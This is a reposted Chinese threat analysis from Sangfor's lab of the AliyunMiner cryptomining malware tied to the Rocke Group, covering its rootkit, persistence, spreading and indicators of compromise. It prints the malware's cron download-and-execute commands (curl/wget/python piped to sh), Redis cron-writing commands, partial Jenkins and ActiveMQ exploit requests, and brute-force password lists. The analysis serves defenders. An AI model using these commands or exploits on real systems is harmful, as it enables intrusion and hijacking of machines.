转载

Rocke Group团伙新挖矿变种AliyunMiner分析

0x0 背景介绍

近期,深信服安全团队捕获到Rocke Group黑产团伙运营的新挖矿病毒,该病毒通过ssh爆破、ssh免密登录、redis未授权访问漏洞以及redis弱密码爆破、jenkins远程代码执行漏洞以及jenkins弱口令爆破和ActiveMQ远程代码执行漏洞进行传播的挖矿病毒。深信服安全团队对该挖矿木马进行了详细的技术分析,并根据其传播域名特征将其命名为AliyunMiner。

0x1 现象分析

机器上存在恶意的定时任务/var/spool/cron/crontabs/root

Rocke Group团伙新挖矿变种AliyunMiner分析

存在恶意启动项sshservice

Rocke Group团伙新挖矿变种AliyunMiner分析

/etc/crontab以及/etc/bashrc中被写入恶意命令

Rocke Group团伙新挖矿变种AliyunMiner分析

命令进行访问,可以看到aliyun.one页面上放置了恶意的代码(手动访问会跳转到阿里云官网)

0x2 病毒逻辑详细分析

1. 病毒为go语言编译而成,并且使用了变异的UPX加壳逃避杀软,该病毒母体使用了5个主要的package

github.com/hippies/LSD/LSDA——病毒相关配置初始化

github.com/hippies/LSD/LSDB——文件释放

github.com/hippies/LSD/LSDC——Linux权限维持

github.com/hippies/LSD/LSDD——攻击与传播包

Main——攻击入口点

2. github.com/hippies/LSD/LSDB——文件释放

Rocke Group团伙新挖矿变种AliyunMiner分析

2.1 释放劫持库文件到/usr/local/lib/xxx.c,然后进行编译

该劫持库源代码被gzip格式压缩打包在病毒文件中,32位程序这里可以使用binwalk进行提取,64位手动提取。

Rocke Group团伙新挖矿变种AliyunMiner分析

gcc /usr/local/lib/%s.c -Wall -shared -fPIC -ldl -o /usr/local/lib/%s.so

将该so路径写入/etc/ld.so.preload文件,实现libc预加载,达到劫持的目的。该so主要劫持函数如下表

函数名称

函数功能

forge_proc_net_tcp

伪造进程网络连接状态,屏蔽443,8161,8080,6379,22等端口

forge_proc_cpu

伪造进程CPU状态

access

文件访问劫持

open

fopen

fopen64

lstat

lstat64

lxstat

lxstat64

xstat

xstat64

文件访问劫持

stat

stat64

unlink

unlinkat

opendir

readdir

readdir64

rmdir

2.2 创建sshservice启动项github_com_hippies_LSD_LSDB_NetdnsWrite

释放服务bash模板文件到/etc/init.d/sshservice,该bash文同样被gzip格式压缩打包在病毒文件中,创建sshservice系统服务

Rocke Group团伙新挖矿变种AliyunMiner分析

释放Systemd配置文件到以下三个目录,创建sshservice的Systemd服务

/usr/lib/systemd/system/sshservice.service

/lib/systemd/system/sshservice.service

/etc/systemd/system/sshservice.service

Rocke Group团伙新挖矿变种AliyunMiner分析

2.3 释放挖矿github_com_hippies_LSD_LSDB_KWR

挖矿程序同样也被gzip压缩打包在病毒中,按顺序解压并释放到以下其中一个目录,运行后删除自身文件

1 /Usr/local/sbin

2 /Usr/local/bin

3 /usr/bin

4 /usr/lib/exec

5 /tmp

6 ./

Rocke Group团伙新挖矿变种AliyunMiner分析

从其配置文件可以看出,该挖矿病毒进行门罗币挖矿,并且其使用了两中连接方式,一种是代理矿池,另一种是直接连接矿池进行挖矿。

Rocke Group团伙新挖矿变种AliyunMiner分析

目前该矿池总共收益2.7个币

Rocke Group团伙新挖矿变种AliyunMiner分析

3. Github.com/hippies/LSD/LSDC——linux权限维持

3.1 获取用于创建定时任务时所需要的域名

cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com

aliyun.one

3.2 屏蔽其他组织的恶意域名

向/etc/hosts文件中写入对应的IP-域名对,实现屏蔽。这里针对的主要是web2tor节点以及对应的一些矿池

屏蔽地址

域名

0.0.0.0

pastebin.com

0.0.0.0

nicehash.com

0.0.0.0

f2pool.com

0.0.0.0

onion.to

0.0.0.0

onion.glass

0.0.0.0

onion.ly

0.0.0.0

onion.pet

0.0.0.0

tor2web.fyi

0.0.0.0

onion.in.net

0.0.0.0

ponion.mn

0.0.0.0

d2web.org

3.3 执行下载bash命令,创建定时任务,污染bastrc文件实现启动

动作

命令

执行

*/15 * * * * (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh

写入/etc/cron.d/root文件

*/10 * * * * root (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh

写入/var/spool/cron/root

*/15 * * * * (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh

写入/var/spool/cron/crontabs/root

*/30 * * * * (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh

写入/etc/bashrc

##(curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;exec(urllib.urlopen("http://%s/pygo").read())')|sh >/dev/null 2>&1 &##

污染的bashrc,执行的pygo文件为python文件

Rocke Group团伙新挖矿变种AliyunMiner分析

4. github.com/hippies/LSD/LSDD——攻击与传播包

4.1 github_com_hippies_LSD_LSDD_Arun

利用ssh爆破实现自身的传播,用到了1000个密码对root账户进行爆破,下表只列出部分密码

123456

123456789

1234567

abc123

696969

password

12345

dragon

football

shadow

12345678

1234

123123

monkey

master

qwerty

111111

baseball

letmein

666666

4.2 github_com_hippies_LSD_LSDD_Brun

利用Redis未授权访问、 Redis弱口令爆破,将恶意bash写入定时任务文件,实现感染

123456

admin

121212

ginger

lakers

amanda

zaq1zaq1

test

welcome

bailey

letmein

andrea

1990

test

test123

666666

freedom

abcdef

1qaz2wsx

jennifer

hockey

redis123

abc123

shadow

solo

starwars

banana

dallas

redis

football

passw0rd

jordan

ferrari

chelsea

whatever

password

123123

baseball

55555

cheese

ranger

admin123

123456789

monkey

buster

tigger

computer

1991

pussy

12345678

654321

daniel

joshua

corvette

trustno1

liverpool

12345

!@#$%^&*

hannah

pepper

mercedes

merlin

querty

111111

charlie

thomas

sophie

blahblah

cookie

william

1234567

aa123456

summer

1234

maverick

ashley

soccer

sunshine

donald

george

robert

hello

bandit

london

qwerty

password1

harley

matthew

nicole

killer

1992

iloveyou

qwerty123

222222

12341234

hunter

aaaaaa

biteme

princess

zxcvbnm

jessica

andrew

1989

1q2w3e

爆破成功,设置redis数据库数据

set dbfilename root

set dir /etc/cron.d/

set dir /var/spool/cron

set dir /var/spool/cron/crontabs

set dir /etc

set dbfilename crontab

写入如下恶意bash数据到定时文件

*/10 * * * * root curl -fsSL %s|sh

*/15 * * * * root wget -q -O- %s|sh

*/15 * * * * root python -c 'import urllib;print(urllib.urlopen("http://%s").read())'|sh

*/10 * * * * curl -fsSL %s|sh

*/15 * * * * wget -q -O- %s|sh

*/15 * * * * python -c 'import urllib;print(urllib.urlopen("http://%s").read())'|sh

4.3 github_com_hippies_LSD_LSDD_Crun

利用Jenkins远程代码执行漏洞实现感染

漏洞编号

利用代码

CVE-2019-1003000

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27Lsdup%27,%20root=%27http://

CVE-2018-1000861

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+%22bash+-c+{echo,

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22bash+-c+{echo,

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x{public%20x(){new%20String(%22bash+-c+{echo,

对Jenkins进行弱密码爆破实现感染,仅列出部分密码对

admin

admin           admanager

admin           admin

ADMIN         ADMIN

admin           adrole1

admin           adroot

admin           ads3cret

admin           adtomcat

admin           advagrant

admin           password

admin           password1

admin           Password1

admin           tomcat

admin           vagrant

both            admanager

both            admin

both            adrole1

both            adroot

both            ads3cret

both            adtomcat

4.4 github_com_hippies_LSD_LSDD_Drun

ActiveMQ任意文件写入漏洞(CVE-2016-3088),本次样本中其会将文件上传并且移动到Linux定时任务文件,实现感染

上传路径

移动路径

hxxp://x.x.x.x:8161/fileserver/go1.txt

file:///etc/cron.d/root

hxxp://x.x.x.x:8161/fileserver/go2.txt

file:///var/spool/cron/root

hxxp://x.x.x.x:8161/fileserver/go2.txt

file:///var/spool/cron/crontabs/root

5. 关联分析:

5.1 域名IP关联

通过aliyun.one可以关联到systemten.org域名

Rocke Group团伙新挖矿变种AliyunMiner分析

systemten.org在之前已经被指出为kerberods挖矿病毒,通过对kerberods的感染方式,权限维持等方式进行对比,可以确认本次的aliyun.one与kerberods挖矿家族为同一个团体在运营。该团队在之前被Unit42团队披露为Rocke Group黑产团伙。

5.2 差异对比

/

Kerberods

aliyun.one

载荷传递

载荷使用pastebin传递

载荷使用自身域名以及第三方图床传递

Rootkit

/usr/local/lib/xxx.c

/usr/local/lib/xxx.c

感染方式

利用ssh, redis, jenkins,Confluence传播

利用ssh, redis, jenkins, ActiveMQ

0x3 感染方式

1、ssh弱口令爆破

2、ssh免密登录

3、redis未授权访问漏洞

4、redis弱口令爆破

5、Jenkins弱口令爆破

6、Jenkins远程代码执行漏洞(CVE-2018-1000861、CVE-2019-1003000)

7、ActiveMQ任意文件写入漏洞(CVE-2016-3088)

0x4 防护

1、更改密码为强密码,密码每个机器不同

2、ssh免密登录要严格控制机器

3、加强redis防护,开启redis的密码验证,且密码更换未强密码

4、检测是否存在Jenkins弱密码,修改密码未强密码

5、检测是否存在jenkins远程代码执行漏洞并进行修复

6、检测是否存在ActiveMQ任意文件写漏洞。

7、检测是否存在Confluence未授权访问漏洞(CVE-2019-3396)

0x5 IOC

F81137FF4ED563101B3ACB8185CF16D5AF89C9E5

52AA4166F256495250C9191670DB258794059277

update.iap5u1rbety6vifaxsi9vovnc9jjay2l.com

x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com

cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com

aliyun.one

pool.supportxmr.com

sg.minexmr.com

iap5u1rbety6vifaxsi9vovnc9jjay2l.com

img.sobot.com/chatres/89/msg/20191225/1/ec0991da601e45c4b0bb6178da5f0cc4.png

img.sobot.com/chatres/89/msg/20191225/1/50659157a100466a88fed550423a38ee.png

cdn.xiaoduoai.com/cvd/dist/fileUpload/1577269944760/2.637890910155951.png

cdn.xiaoduoai.com/cvd/dist/fileUpload/1577269966297/8.872362655092918.png

https://user-images.githubusercontent.com/56861392/71443284-08acf200-2745-11ea-8ef3-509d9072d970.png

https://user-images.githubusercontent.com/56861392/71443285-08acf200-2745-11ea-96c3-0c2be9135085.png

钱包地址:

48tKyhLzJvmfpaZjeEh2rmWSxbFqg7jNzPvQbLgueAc6avfKVrJFnyAMBuTn9ZeG4A3Gfww512YNZB9Tvaf52aVbPHpJFXT

Ref:

https://v2ex.com/t/624351

https://www.f5.com/labs/articles/threat-intelligence/vulnerabilities--exploits--and-malware-driving-attack-campaigns-in-december-2019

https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/

https://unit42.paloaltonetworks.com/rockein-the-netflow/

本文作者: 深信服千里目安全实验室

原文  https://www.secpulse.com/archives/127162.html
正文到此结束
Loading...